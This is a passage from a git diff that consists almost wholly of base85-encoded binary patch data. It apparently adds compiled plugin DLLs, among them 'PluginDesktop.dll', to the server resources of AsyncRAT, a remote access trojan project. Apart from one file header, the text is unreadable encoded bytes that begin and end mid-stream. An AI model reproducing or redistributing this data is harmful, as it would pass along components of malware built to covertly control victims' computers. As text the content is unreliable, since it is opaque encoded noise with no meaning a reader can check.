zTO%^|Py*f&;IS8QI7|+N90o!F5MUe_4xr2dq2aW_1P)OXIOQCcxhRjK1#~kapjq(l z62c_Uh|gx)it@M|I7NAU+-RPVI3$mYU6se@AO<*Am}gE%BivKHC>#2T#~Z><6f6K| z13OrhX9XS)CVIGFFAesBfPjO29W2bV#UsoEuK&kp{D%mc5OpUV?)4L^_J_!e3-Jj`#n{#IbPS_;o6 zhkt!G&;o-87Q^AGl@y)^e&gat;|RILeQQ4qVQ|HA&Brf9rnx43WPVI6!C_Z$SR?2MGFfefYQPK5ck=S*wwrP zM5rUND+KDvNG;sMbg&;=CWGBJ+)z8-07-L6AOHXW literal 0 HcmV?d00001 diff --git a/AsyncRAT-C#/Server/Resources/PluginDesktop.dll b/AsyncRAT-C#/Server/Resources/PluginDesktop.dll new file mode 100644 index 0000000000000000000000000000000000000000..32734674afcf1fc7869ddd1c3c2f955d1ce1b5ba GIT binary patch literal 30720 zcmeHwd3YSvv2S%xPj}CZW~7;sMz*|YY-}@@WFcF|SjIM%pJ3nPEV>a81zqbRj*%8 zv|97fQr}M=&A0Y4O^pY%CZYjwOvU}(O}NJKJ%TS$h2Xlfn;C4sd|n0wpFbX2@*WoD z|B6?aWEMUjfZlbC93fi8jyUymjHnE}*KQ=5e`?vA(QzWXq}&F*s)TOLr4Hmk|IGnF zne^4Q8p+lgrDOQAuKoCye3lR`Eg=Q{ z9{Uv^woNB5-MofqcPo)5+ zq+DwbVeF+;t~G}&CTkACt-_V-geHrwc8&Fn_)s*idSW(4rX)!E5hv+|@F1}j?& zA{z%tplfCV-Bn_5)@Wt?7#tpRrl4BQ4XrRKfu5V$sjS8i49a1%nLP)L%Iq}2_?@sk z-ZY4gP6v5L-VCl@&IX7T@U0n3FuXAhg;7>`E-Q2rfHMv)g%79Cs-AHO1{f#JPjLB6 zluRGtl58EL)lNMwP6NP+(2PVxRI)2h5XxKOpZwGqC0leiFIM#;oJV~^g-9IX$O_!$$hl)?looqyNB z)w>C8kG zitFE@Rz!Wy%)E1qOxn!6dn_Znm_2-v=zH(jqF5|eoj@2g>l^+VJ+jK`N_`oJbNGuP z!m1&S*FsX!;X{6O(_a~=EYqvA?Px4mEvtDxS0GOU5!npHVwST6CR$D_U>5PjKVuB1 zO*m%|8*e$wQ06QLD3kd=J!(X~KHFIVPAq0SD{-}*Re+**41?9$4y^Kr4USx zZFxs!KFk=#%$%P2N}g%DjIZYzsLb=&!B{}rotpp>*lx@d zWnpiF74|x-QTPH`wu32x{;vfT2Q%=?99i(AlSsg<2FtP&BGh17iGm!*%GRFZwhn`7 zJY0*QTlmZXjfqO<BfV}YGPc-kKem=P_}iOPDJjp68G zH4*}SG2e}871iJt(~hB7$P?qngbu&eV48_bQSSw5n={4w3n|3y>B#0<+m#)+pEiA7 z%}<}=$Ya2wO&)riGMutN{L>Sc0Xmlh%$S~dJLB6FzP$ubGQLCcyKzZi*!|fQV>vvAZ%H6oG3%rqSj`($IJ=wW(g3=%2heXid-)>m2h6fquzsTLI~+Bvh>`gt%ue*8 zSefCg?hN|in>i;eQ6H-dTfx(FG$zpDs!(oMEDw)G@uTi&CY1ci8bHLN3jl>k7tP{aQ=@ev7UR0^V z42IeSb~cekpi{Df_^a#uF;;=asMvz2v6%^a8DF0}w4YPR3?nLCFlu?q{v#p2QWn zhP{^teZUU@zcgy-2gk$O1z&~J^^h@)scz`53t;o>BhGag&Tu0TM9t}5` z;qZ;=S!V3zXhnS>9FE=8ik3lCMkB5&w>@9T@MMReEgIDi^5hIhIYyh&2qJhC5j?75 zRmdBTxUnTxBQb{5$<@!PHq-!e#?<)vq-@$6_SkxEsm+KOu^#q38j8;Y}#g$C? zBZ1Qk+2@yojYa4`rOxG2$t{ZnL{C?=%+&z~*X@c1BcYR3m_M4bqP$>2#9wUsOrud% zIvQ0_I}Cl%*!At_oLo+W7hs*r&{vqnKY|oA-2obyw8qqAj-wJM42t*s^hvabjZFF6FS} zIwK(|Y3_-H#+HhmW8}G$V`X?p9m`>zP${Yt+$%0dUq*q}!#bevVs6ZJac49p&fp45 zoM~Yhft8^f!(n52sJWzh zWl_4;?MS3n`qLSWM?%0^3>O*jI1q8Nj3%@eN3%RXnl-M=I-@n=8h2_h8Nz6W$D?QC z!{gm)dC_^`A*RHlQ|5n!N2xqKMGfUtxNWNI({o%57j8IYNTL><7M>Q1g{L`7z{8~# z7fF@JgTVfvlI!U7STqrf&g3zfsydL6F_|iz!kE;Br%Tcut&h|v-p#sZVub2C!{>1F zg~6B^KBqG}Gn|0siEzR-V$NgXX{d!_&&WoYtE475c%5Fhbr+rvn_fMtDXS*AAasv!~0s z3c7&LP)TK>$>|c)!!tTX0AA#5J#0a)wz9J`YK5o31yjOP+!=S#S_~f4n0b9xX}2)K z@8Rm@aye0&i?+^Hd4GgQ95eVFT=RLq4%&zB&DhWH!WYSyd^q>Sj>BbPqh>C48RTk4 zohNZMWG+UmWO7!QDZ6ICnjUQMB1xX*jlEn}@AJ7EWtlCznVS;SbY|a+%BH)s1$8TX z4d}$R0J+K71%_Ft+mL&aT;l@R3%kNhpsu-0h|~Ywvj@($DJ^acwtMW6O~aD zheOPku7DL=wD^rT-ZR^eYPgRSmmNKc#w8lPRFn<@C)NnhbjsXQCZy z_{q(Y4_%M;J$te@;4(agheyx&bY%TlRp#(iW{k_;$c5)Hevl!bVf-=uAd7#fgjId$ zW)zH5%05)b_wEebF(V3KY~@Ujk<$-~Ql;oHdrFTn*H-i zsr%;sn8sap{jrJtF`XH%Kaius9}M&UU~%}Pz&fKp7LM_U(GW0=nBgXe>>X)B={T!* z^1i8SQoebgw;^D7W8Sy?59Kg9y@kadcOth?*1>dt@#C(ija`m^^;AE!_5#-&=Xt>9}+uN{YL-P&=Y7<^%}3@f>#pd^0?Zp_{Z-UxfGZi`+u z4AYGKv2+;A)u_8zKgd`8AQw4zLAvgJx}vH(mAn)wG3Rawoa7U#(gme*+QzZDp0yam z7+eFk9Awf#dS%wFEg`0R&C?IELXR>GYMBxva1!?nH-Lh%d~rSi z%Z6tG!#L{Hj4{B{4afZTRrE#aV~vFZS(i6V zhHt-q@I16Jt}&=5xVQSaVW#y&hCS+*jxUssFD=Eq!BJQ4)fn^$x5;f4JymAcmN!M? zBPg+-?R*x2)cFvMt?#ho{8YB--1rF;<=OV`#D_u2ybgG*nB_)>`f2f(O2s6h~7A$>O6UqI1Yu>HkSv9sEa zor$O28I1g8-A3JWJr=t*j4i{^C&&m0b6bHqQ89Tgb6+ZD9C#f4W=+>}WKdL#uZ}N< zh<4+9KE5mP-HLDhPW>S3et=s^d<5OX91#Y$;NlYXoCkP>K3XENovVDTgpp*%gCz_s zE-mqKX2kZu;cvl4p1*HuW8OTm_Y=joN^E?n$bCR;e7J-mHe$jS`YAR(%8Y`ISHXxg z_>uj`eq85%r{Rj#PK)rZUsLMGPZss(E@U4(R%D1t`ChO!y?LTwNpBs}7WJuHis;4T zq1Oh~K!eYIL@eNY-B@#lv9`GgU$$|t`(+#RI?@MRv@ZendYp8;Vx7!kj2Cf*74)pfDD z|5p8NX!cCZeilX36)h%W<*{o8cO%Yp(IQH?Hv8HjIDx9!*M5(zg7NC{`uCTha^iDP zDi7JqDuecovk+u)$GLj;Jls{RPuOAa-9gjGHy&{}c2wEa zIUiz7ZbXkt^Jb30`P?v{H}l-a_|tfv1LI}LcsRMLDZ}E9$-BKW*~1>^2@Jrqcv2U` zvjDU9olQR7>`%yiGUFrAG-s(9zX{i-1!J~3RoEpD5Y(18-IKt+ZpzSj9B$FwEMBfN z<2SRWd1m}R*3{@~Qd^=b6ipRM)0o=7LG2@4d$Jk-3fGP)x~ok0*a>7KWYidUkZHw0s{7bx{Hx5e^%x)9SmbF%SLf-kF&$Ul zDzjy2@=j~Jr&3E64C;NI@)$@}ST=&%bzz3+-aj<*OKjvp)g?|qnpd37 z7U=#mgv-XvQe;VIo1L7eG_N?DssF6D=UH1wH$91aVQhYGpJ49Bw`j3SMETL)TUeR@ z?=-(8Hou8qWGat|DsR!|pPbQ0KRqM&`^+uZ)zU47glCxjrqhwd`Wh|L?c+OPxpjli_1w=T~@j$*og1> zJ)voyx?jM1!f&9zG$&hL1_t&3`QC}^5qz098Q&&+*`Q7M?!Du8)8^q%Z{T7#K7yp~e7@oH^0t6T4JTakCfe*<%>sVdkjw zJ`nQ+ql{SU2WRBLOI{7u_} zB(H!#@t&b;X@{KkQgjcg2yWLPudr)taRfesLOucq zb)Px{=WqlDuW7vWCC|2t0>v{j_pKmMdPc^2Ejc4|#|mO4=gbl*i~)?2N4m=2m{@!; zgujufA$PL!MscE0rrTnx^=uxi?|=Zz#=-sTr2-{J@i^z(z`^}^saVmdQYpQdCD!fH zWuKO2G2M5-k+I3j-a~r)U!g2t^f*RAhRl6#QP=NjDAOh35s^Awk|Bl5_)I}6!AElO-FafK(2f{{HwTrpD%`=Gh#i5WITz?TF*B=Bnjza=t9%&$Ph8-oARyuoME zGr{Hvo-$YrGvF0qbz^^S^ubK34`R{B$t)~fLlYZcx z5cbpTAj8KZEYniSbytS=l!fSDLk<2A-K_2Rh3IL6@%L3U_)VHren%DbSN+a5>6S8< ze9Y$3i=+Et&va>JzR7wX^fR1Ezt=)^teo`>g&2M?!jfqp>xovZgXKBt<5kAG$V1dB zKDpS-b-xv0o38}!r|~iF%g4M7?-p2I^;8tzfVCz~khZ$3Sn@{!miesziI|`MOM3T% z@GbD|G@B)V;%CdRg5@SH)!7?cLU?h7W^2s(bveWT5SgQa-`OFGR5jqOz_N<+NQgSc z59b>DeG!@zEQjSc8|;BE2iY@S6|DLF;=`oqzueFEUlU?zl>ZI=?UP>bD`UJ>ytENE z;62j{Zudg*{2chor2B|D*9-hOS~2P01=?QLHrZhK{RqRO!nrBJv+MWpfJu*uq$jwC zGa&NG1msnxVZF2lTZ8R_Yv7+3YKtAlN}NoiDEpe$7Hh}-Yel^(R2802alL1>-4zwM z?{Se(TY}YkJ58ZALgj>-MjM2Byn@TlrOiV9cle~AsY`{ru8gS!rG)xs6;pLsjoiW! zKT{3(QxUf8M(;`gVcd`Z0D4eCuZWfwAH0LD?^~Rxm0&$rK!_Sm)ci3 z9#p?eEhw)wJv8W2%gd*M8g{8;cAaU^RW9{CyAjm&E_JEaY+$_!ir>Is)B53C1uOx2^$*jr4S2Bs1|hw10ux0`+% z5$bk2?tK`KZkpt_?_v6YmNrB5hiOW3k$zY!r-d^V^#_k*R!~JkQ8mFq6H^?Y5jq@y zz49Rb{N)L^?600_<~W)=Q%Sy7epnk%m$}qj?S8F>zUES!{ZE3bLpF08DtazBu67o47Twz~j=BcO4H`~{MS}T%Q+2aCnWLaB;8ntHyZZId(HlePzdt(u8 z676!S;g}|SDl0u6yrb+E6C1yLjt3tC#rrRRjt9RADlRxvKL$00u2EWGr$*vFk(^o; z(Zqd1?TFlI7AWr$~oADRjj_W=haw~YHRr$Dhkn_Wuzvzho!1dN0DY%YDG#AkEq zQzd;zVkDpALGJs!0>ynVQ0V(NODOL9eEP0vIc{_7E%YOyp7!%-wvfCOOvi23xqyD= zO0v!c^b6Ixy)^JFsNV`TYHtYq7}RU7B#-8W)Fe(kZnGyA(r%YxPb{J%F2$Z$Og|Kg zXWdKYMf7J?Mm%Dz^kZ?&apEyrLEGnY7nyq0Tt(lO?sGj2d%;5K@YSS6e_>us*A%GV zn3vEIp+@Px(0`k2=mk|K_14nr3s@)D`@6Z0K2o4eYXkj@P^uo^NZ>Vgd;En^*xFn| z)mWVc>fBh3^|lgfiuHCnsdS<}?D+)e<8wQ03D;Rkin^5LZ?bk!+@)UeHCf%%<5FRi z_0WSZH5{I2rRYVM`T(_gcG7>k)C#&z+eIPCt8Yh+d#7hNO?9aUjCN0&&J#+l@I7>a zP-=zmp|(QVB5MzI3H6HayOnV~O6paV=2T4sb(2f|6gkvhy0cJkm9>{1RTQn&H(P!5 zg#vXcsP7f1?N&d%TA+4X4*f+@_M)<0Yk<59*h^R2hx`$3A4P;3rA6Kf+D8p8^?C^T zFZH@qJKD?8`(5gUodIQBC|c;I=%rSc|Ly^wQTn!Lvz4QEmwHjCU9RNMgc@+mJ|DUQ zk_`)0y+^CAumyLv1-<4{2k9#F0Nt}lwSG(a({zBA@bLlj zY$$rjIzZodsSkyZ>IdlOE_Fxv8@N$*_#!2_R)3c@L?10s8}Rnq7hUST;j2BvRIx-! z{@u9RbBNZv)ZOUqJLyj@^C2&2_1hWmTZsUFv7XHP*Xm zn@e34y}^1n{R{OZCCB_i-|a&(-#cs#~n< zsMDqPd+z|XU8q+yybwp%QJ*T4)p#9^2z5Js%y$nYKT@DRV%I6yH&WNd(t^~x znUX@?P9F?>%DR~bTjSjJrPAfUw(h0$nquqs(LSNny1kEv$CSNCsCVNHHa<`A$0IxX z+Y8ijZP@seb-!D7TsvT#v_4#*`i+qNF_+>v@pfd@{P7UitF%8+pbi){_Cp1V>pkjH zs@^9HWy8jF`|$#Gz-X|K7AUUw8BiL{wcjdyF3P9ylQ?i|RA0_Gj<&Gy!XTf_k42b| zgbDDd#_&jtWj2HuSMcj$<~&fvwf+~NK@UOFOMN19p`Ru15qOEfw`N-fcA`Id#MViGmYK|FkCN|zw4jS&$Y%{Qf%=VSgw!JKUVT=bt@`#Y7sBJ zxy_~4D*N9rJ^itGj3NG>OnTQR=KWaC zUhs8l(2FvsbLPRr8g*l2HTp^k{IKXe8&sowEk;47_n&1f9uy7ApUb6p3Qm!krr_z` zeobsv{8Bt98Wh}7(&BcR6{!-adZ8rWye%%(X&UCgMoRLRn02~~7wh6L(?!3M|EzdP z;i}!!ab=a_?K z$*W0|HKmKrqGW)+gttV$jyJ3xOqkuKog;?8N0*AEUR>o;ayAfH?koH$(KcgDUU#l&~-f}-=8UgRKHNfiydaEwP zN$<

7LgbE0@zN+G1Lb(kG)E=vSz_mHr6$cKSH#_5i-K(xJztt+3Ag@qp-yeoNIs zdJ=r>&m!NV&DXEPU(2%06v*5OXc|?3m*XzeH|aa!`yhYZYoe{oLJwetE1cnM{qg9- z;J;m;27Z(N8NdzZ7XT0WpGNCHs`>`C=!@}}tu5Lj{W)qCOWO5yWj{qP?uq?IdhuVh z0sOyEmp(r9cS`EJkf|kgUu8toU{y?;3HTTAS41akf22v#Y1-?!t2zgeC0{3&e4V&- zpFS-zPh-z4(uQ=l@Q*Yjx)j*XnaC4{KrAW71)LPSx$e-|*b69oA=f?-%?5;4$Eb^;N-# zg>w{mXY79Me*KcFC$*2Grxo;Z{gC}MaosO#kAq{h4LEoNhM^apUytVMs`SO|EJ(FS-vT@09^4SS1OAi9hr$+!6(ow)A^f|z5>F0pom(m|d=?{hTW0845WL~B(Lgwf66ySf* zalqfuw*db@-v|6N{Sfdq`U&9Q=q13vLxYYP@hc-jt=fZtYXIZ)Zs?yP@LZf59x)n` z5#DS!;`PA004LBBfalOtfb{~K1zsqyP2eR0I|RN>U^jgO@_XqA_7c(DDsa2Nq`(n@ zqXLfzykFokflmp1S>P)INn<-TfpLLL1a22NBJkbXhiRhkh~UQrzAW$@o$IyMBovD#{|Bta4*ZeERal*7q~>=c7Y=Tj|e23il9^A%L2(} z&US$#0*?qhCh%o}+V8cPe!u>d{#QNZne1us zEc9&kyv?)SbDigdo>x78^i&#k#(Bn0!!ZVpD~%E3TEoE3=p_$ySKUT?lE-T9czRS;g zPWr9{{7^anX3~43?*ja7)zyGkdatu>nuZLdf~EsNZ z0MBW_g5WQQPb=`MbqM?*{?fyym7pu|j%x)tA>=9=xMARvu`)I6kWt`qyw|JYNlO** zsTc`9PgDb+i4ozyiJ1U65BEus>SSdmXRD z%mi%1n%8INLg`bj!B z#`NQI{qs!(YmE`k^GZLzMs|o4v+%jy_?!rg<*6rMrM&y_?2apy@@_ZEkt_3GV(9R- z7dt9WW%$N03a{b?0TeA<+_G(3^W1Gsw6MKDol7Ts(^sYz?{Im$Qn_s%_#wC^TAj}3 zw$G-4TxK?HayGa3=bGmLQP++uk^>6sJin=>EtScocc#0Oxzrr4Fo(8g(zz7ZnK#$1 z3}j_0*P3;i9VNIZMY*fAP-XT!)gG>H5wLCBI&#Tey1O-#Ne*!bHVqA=I?#nh^Kh@H zwYh2D1uYjWyI@7@{HA3~+g7wLo!>OKxvBO1mU-vTZ)u)Cx8?k~7qAa#;TorBus5}s z7Ou~v_rvt|zJcCUU#g$gJN?U2xn#OGyO>tC(W7q018ym#BS zrOEEScpYLzI@Q}l3-czOUQ$x^^uo4e_wG~=PlVIUmJaURnaX6(ShgwMz4!DQ?S08z zsr4DBJC)6@M%PZ4Xxp9Y-i!A#&Qzw_J42n`G^W?-{ElpI+gXalkPU-aq`9HfD&~h^ zO>&@ZcN)&iGh}fnR$Fo)H<(GaVw^G7)H*Q07c~;>_+1%i5RAT5Znx7zE7H9wtcw&$ zyWDf326H>-FYo6$OFXTlkXB@zK7}pIB(G3do6|Rt%%qkd=-!>|-<9Io)84<|*_%@H z$Hm*1_Yd}^GRYmiXlPkFJK$sm-{dTF2ARpr-9-H6!*?Z70= zbYSiP-{iQ6gccW93ym%1o>50~e`@JaE|uNn2)z@`waLDe%-c1XLFxV?jRl{P!d~YJ z7lUfy^m837&eSHD2AA~hKt)>X0PwnB11^Up>dPa{-NI2o*b)x}Ta(?j9)ln_rd!VG zc6x>A;PoW2O~#~SH@r%1y$*g>sC6*sD5s@peKG^iDKVJPQo0A$sbEqPooO5Tg!od* z>MjOvlEASnwPSD>hpK)!c3G-7wF|0f&0sI0ZZexIaJWxx$$l9F_Q3$0nUUZE`JUDs z-f`M7h?<-G(IU179%7z7#S&?07xRleDB60GI3ft^YAr23MX zy+tjXk{Ot{0>5gSy22?f$k*ZF-@-A$=`YsmNOccl;~H9@%JikPW6Sat5zTg{cMWD_ zlPFfr7cWa?yEEwljxNi+Qfsk2njPjW%+L-E19uO>BEYIu2#ON99&YfP+ z<_rvF(z|w_u?P#Xf2df;T}Rv|+S!rjfKpP5h|UW`tti3L9N%Tms{KnA57u6vvtP~f zV#JkjQbI~B;7|(}3mBjCsL28pD7_`ZCeKNP3Fu!)o zFl|lu08{%$k0RLY)v5kn;6vL0Lf^U_d#D$wCSM(V-H1r7S)?Ux$===_5Rz$^OO=Ez zH^gC?6=XOTXA0ETWI9(My7PLVof{SNc;}b-BM4h2^R{HySKH(%sesfi?*3}-7m@+m z0n2D7gERy9h%bYPyUlYNdwP4_Obc;hZ_XJIPG5F^cP1yOjP=?3$bc5z-}`L7ok)6EVuk47o&B@z^!kXizFn zLb|IQ!^nog)L@Et%B^U=ojL0Uu(RhdantvlkTI9*vIihb?#7e zGT^RD-X03uPjO9-Wvlh5dUgikQwzkUOX0m#vR`>MPjL9;)S#m~lS=jT@x;Y?K_M6D z?a2U<&2@J&%`Ap0Qx;dO>u^^rT|BUhBWnifBBmtm8B4Cd@`}>Z-m#>+%JQ2}Blh>* zNE7)u#k$z%NW>JuCa+H)NcFm2MtQzotEBh&NV74u(@pqK%?^r30a3l)$>I>dq;+sQe5~9Mo7BSv3oGr<6O~?Eq`x6Uwf`tejt}g zw)gLJR7NT4gj|M0S4uFPA*3xKFbFDOWQ0sf(y4G6NTj+1i(plcIyun}IY7~lz5yh$ zeciaQ$2Q@w9Mwp;6|eIYx?C)hWuGsRh(>TEG~fu1 z)V*Mhtj81%UI@3G)34&$t?Kes-YIrD+Cf`B*I5C&!M>I3p>7PfH3@v4~@gqWN5-u+>ho zhjY-@tfFNSxI#Q13S5OCZ&1h%KD}UFadrb6_Tgj*!?V5l!$VdwhfN4~S(P{_R4Oaf zT~acE3Vq(1Mnt|M+qlBX^eOMR_V%i1Sdc0BrI;QU%1Y*oj9p3Cz(A*Rva`AiDa%`e zS|qSm9q(49dNH~4PR)pMJf~IPoZfWz(DF>i0i8u(OKEXpH=onh>4jT{Gj?$(&Yx#E zToicuNSvQ`*g6|k_{tI=c(H1-2w;4&7j*dnWG8vcde}k9ob*xRuuIEgU(xHhMXgzd ztA(y`8DWLWB3I}NI3B4FPP7D72t`PqTpHOBvt8HXDz{Zi%yy$L4s{ZJ^Ccx?QCPcJ zn2j4#Fh?w3o!Y68RVh9_xKp{urJR9n%MT2|<>?%C;EM7C0PU@ukwFPgGT55svI}8N z-MNsE=%UOm+|rPOB2}`vVeY#XmiO;ZXPkb%_r~FjFK-fuxG#uYZ$(V(b4B|cBw^c9 z`&m2l`6QD|;Rc0-OLx{{HVUSuXB#4rqA`1Tia8m@>Xw3)sT>d2Mh8ECpprD)n#}Ns zNzkR9>_6Xlg+M3_N9A=WGfvQa*u=Qe%uYj#H~L>vXE)R-)E(%8&CZxTI8-l`F_?=z5#Mc zk;(BN*#=yl5@VSLJegG$f zy4-SHbTEInP-EKM$}JoKzZcJP9MnNN4oR-Vy86ZXILi0A-pK185WDw7PWdyACotR| z*B`*2q?J-}x&mcAV!?T0MH+qDE$t*l&p+4Fj?$K@($eNG*mxf8LEE@P0bd@(ldc8u zaWf60A9=bHJ`@_S*Co)qlz1=$2{k8r@Dz!AI3#-FcJqp8L z$hdejbe>-80+e!XuEAG+33&F%y`Otv#9H#C=j7T>M24i=s15t@(~cu|+4!3wut#SHZM7|9 zBCHa-wTTtFm$*C7sZB&r;X>59)&|P{1sd|=!P@8=MNEWT$SuGhRYMCTP#v9w(B&{{ zl2^tBB^b^Sk4p$WvOJMZ{4YT8O-lV&R-t(&Q^jOFCY_AmwbCM+I;@6?dO3V(`|Ya8 z$j340qv*+P_>X%un&*{!mvaXqLnvTz7PEO&1!2H`_4~oWEbwyY;g50bvU07U8Dy0E ziy^^7LzG1^E2&)LY3TP`21ZjFf`iI6sf>=or=znmt12xYDEN1hm)nCeU1|VEXW}Qv zSqLL+n32&zOUOaLiMbLPdBnuD=$ho^DGfD|k;fw=pMiT&^f=E9mU-N=bfIBXXp+}w z83iX}B26?QjZVwB`2_|o@l0f{$I@)W(lGBVNQA1wBi{rOnd`&TXU3ysxjgigyQ}FT z%QE0g+XkUw7%_k*RD|an_!THW1D?8pAOrkKq812`dGA@M zJcEU1!BSkx)Fr4cJQ83A)WuX6KQ27&;A<>FUW+;&l zw2==sY9m*$#=g*tn(mXfSG{2=v+oV@?>`f0qlX`HCW1!|S zBOCDD?1AHS6ThGk>C#PIHzxwS9N(mF;%8rMj~Oll#oV}V1`HEx5BLxxcLCXi$v*N3 zgU1$GfxMCh(wXgg?~9hFZ4u`evH<{NGg&J_esG%gkS^#;E^G`P$B`r#{oQG#5GO8 zL@zLO0+F|@0wH4@R<%T)yRb?v1VV(^dl4%lL*slRx?13R8GA=F|1B(LmHtQa$qJa#$a4gO--V~-o>6B=>H2cr>E0TBtX#(38H zVXEubGH!mZOThTZT$qLBFVHVAD3F)8&5@a-4tfqQR-J6QW$c6?S8n3&&xaSWSKf;y z#e3$xOk(BU3zF-Kk4Nqe;Vl{_CwW~)(7l$qSKYk^+^gTurlJBITOKze`&^uNU0A3^ z_6Zzf1H2dFL}_}MK?1`wBf5){C9BEGhfz<_!I zFenLl#s)KlFMf@ef+$3vQ8*tj_VNnG4}RdU3}}-c+lu=ic(Pfz;fIqB?i6T{<2Znv zlw$&wX=Ke-%aI8GTZEd%waYgZp1(EZS1kWJ0sacotp4QP18Q+6h9S3RIrU5%R26SwDyuIZ8MkMn*HdPjn~`$ z!WOqJxQuUGXD?gZc3IXL#L@e*ObWL>FB@~$@DvJ1^2_k3E|tut#+Eb=^z5LgVNU+@ zBIEHqHTL?w5;>x6ZBAxcZ|@quw=5wpm6AsRQs<57P=fca&!fx6>ToIkD|7i>x{(qxB531zpf1*;CGwYA8lx@5C8b=mP0G*Gqt2_K-wQd zZ}}{iawUlHf1bm?e0%B?$LGK_P6%V|WS=85D#&hu7TicK>C0@qmDg1G;ob{b;+l#Devp2639PgrM61QFb*>I>oi*ouz?AaPTd`01cs+DEuz3(Cpwzn=f@*VKtxS`!L$Q=ye=3ZLHT%tydV>|B1+m`Wdi4#HM3#hFve%`I(tzV&DDq<~oL;17?FRhnaerrp$Sp46;<|LWmrTG2N^N-Fu`(1nO zwfA0YpS{;PCp14BZGJX-<8|7LPd>1vwWUDJYTbTrAozt&<4ArC+Nrdbg#E<^`9Y`r zQ>Uu7I}Yf5Qq#prVoquWaA#_}I9F7sgc4T1n3aksHQ5yIr%)vt2qJrtNWC06DOVx# z_9m|B(OKh-7L;>MHzlD;jr*6QjaJbuiJt{~AyN_=mgNWzx#^-*am65WyrfhvixgCCIgp?+FEp4Q0cZlD`jbYMSiMEdon*C?R%Fg zOFXc*JAnyD<~f{}=yo%WyF*jkiT{j?mV%5I4-DuT&Gv4j#p+L>vO zb(ccvutd+){YJT5I!by5SSb0+&Sl2z5W(|os1^Pbpwog|~Lu$CT4 z(VTR39y;t}*qS;mtSPqEC>N3u))m{)8f{%JNTUpL9-^&t8<(ZWDyOoXhu$%%vOWY6-ZFVnluygJBHg9OwCR(d|%(}s{BVzMn{>>ns8i4?5ywd)qn1&tF?~H!d&EZtc%uyl! zO5z7Z@%#L80;9UI>(YuZa(HXzb$r!v&iVl%|KE=))hDYv?*S)xNMH?zy^*l5>QOlp zcUSkP_Yb)j+rIBO0``Ud-#h~<24ai$JL%K>xC2R9f`d{^TgGYUO~`GQ5AyOsilW;7 z`O_MIU_;x7z1L^^Z13=qUw{2ItZ<)B#tFu2=?9v{DX!BntTzwN;9TsM^3>eW7@h8m zgthX%X>MzLA}x_S3?K1o$3dUk6DYYz9#>1`%1x^qX>BP;79q=MD#z@j)0+CopY=G! zk#QCE`AJg+xZjeUWktez`8AfU~zp?`CsA=%K8Y{+xhO*R~y(0ZeL>>}CF z)5(T=+NarnNH&n&$x+K>Lk{_e*>JqJnNBv4`@rw%?#*KTbL3~%l-FN~E>Ygawa zVv+wlo0N7mQI;SfK5lr8t@GKk?XgWe^+Kq7K!(lcOI0rW)EA**M^3VRGQ;1LhX`zD z@!VO=^BFQnR%G0GbRK!Lx-JS%^zE$7lg|y0)p>x~zK#vlNvG(YeM(oPlao8Ewsh?^ z^Gy4WZZl4{@9nmuSI3=dX19s1-DadIL$bIk^D1bca4!VX%^Odw=XA%;lFXhTz_R#% z^JmAzzB#Y*Dc@pxtew?y9e;a-zSSZpLW%yE^PMtt6@-Pg3`(fzF7+{fq;~14&c$uAzi#*%Twgdgwx1WU>`|A%q3fX3~cQ<7TGH|VT zcST*6x;2uh%*T_5p;#xl-0kE*968>^$#9gbz))P*O{y zgZvBS@pPJ$Cx4dubu=+V-d>kRY`v)l!dTNtVAJVU<-U=_*m1Ipg=UddN7WW}nK0TdPl<6_f+G#0BS$w#;N})zD4Av z7MA?jI10g{XzI(7{651>clnj_vc>QhLXsZ-qGi%g%K@buP_Zvn-Te*`O}*QFjg!7& ztmIzHZH{9Y^ zvSc_@3r;FZt?pUw+%G9_7*+Qoj%xC6or2p~P#oycSjU31I|SuR)#U0eKu)kbG!e*ObTS0;t4@YM)`vPY5y*!- z83O4IbKR-!fvit+rU>LOGbjQX$my_Dgg|acoqCcRxdX>V&d7Bmcczmgi|MF6b$rzB zIX-Hej*D8=bu7pT+%;VScUhOf&FT`kIu4xUc3wWROW;oF61cK1fr}w<@O667Fw!vr zT;)}_V?f9+t>h(A%zKE;H?8FI4vy3x{Pr|=u$Fzxuf_5X`)yxhH3}6GJVnQ^?c=BD zi6wHq`^!x}J#io1zD3)fjP2RRrPi@E+x~Camdo&%U>fcZEIYm7MW+v+^7YrLLA@HV z$Ts!59>-E??^C?;{?PjePg!zc>Zyu&YH9C6-;)?BAAZRfQa|n8!!Nm~=|(6fUrN2& zyS06LO<#`~Ew-UQ$Tl0Hg2TOid!2$+Ah*{@q}?^&++GtMbw=6==~oGfm3+~oap(Rk zw^ZJL$EDp2I;Oq#aT{_zR&@2vHqb}`qcD*GIOKRgwS;E!b$$NA$oq9wJwaU$+}mR|kJAvvetBysK|KkqkR2sITsxliScC@n}{3TS#9-dH|I z9!=Y&Y@j(9vT^>!i{M789!7LC z4)q@AOs3b6F~A4ZWAr&=aSYS@;5lu-x<+5?e3&hr4(HLbSX&&0B+t!?wh)8SStvf8|>fHK;oOh%l%JcYH~<7lWww^B^!Rg9dT=5PPvV4|iCW z)EN?zcrCg=OdF6~gs31i%O9dEEucfS;aPrzE(#wJd+2do)&|+xM?@ZFht`JjXo@9q zaCmLVpc|pnjc$+Mj`ER^9Lmd#)7e8d&-l+QX|d#hg0{p3Tx)UpRgWCXl|G5%S=0GL zP%2%3n02SZywTC_^w-#E%=IT2uR)u=@4#IHxbeMgXm0R`@Y2-aHIUEYa<)g7@6M?V z7*r6I)_xO_t!`GO1nUfv`B`!`Y+!sIYh|n0CGQ95bH^{oQk*3lm|2sM=@NY<0k1yg ze?gjPPqcNEkjR3y=8la>Cci=YTlj;hPAYlHCxUb;?&;T~9AP#U*TZ_ebxpG~nb~05 zU?+)octZx}NHgoQrI|3r*k~nngZT&*Q8SF*pOeUwtb`O?C_Rv;zeQ0hW405fBuFKL!&jW*1(&d*L!0--K3NV-p z!K6oT3vW<#W)M4cA#NLV%;;xi(^tXMf$#f9qsar2KLW=D-UDuq{0VqUpQZkQmKP2Bapqd{(EQiPS={Lre9@eKkEYx-k>oXpf#7ZIYJVoL>#{G~C z5CiClVN*@^QQ!p6FuJ#Vap78~q&Y+!T1SP|^#w-x5#ntX{*+bB@$#&U) zduy>}Tsgs(@YzSkL7)#bTU2m zZzY%BJXO|iq~FGDHA;&IrP;c;s>WzamE3<&`Q!K`6*pP54X{MZ&zLwCEZ zBKBWe4L#tp3+-kxl6JUkzWq9wdo?+H0i8}e-O5&NvvxYY;Idn_W8!q$=dyod7H7~~ zF4KIq;tYD%Wf3gBQS`CPx?$;!qR(Bn1$DJ_)MfXgu9h@p$8x$(s~CzulkvOsE>SB+ 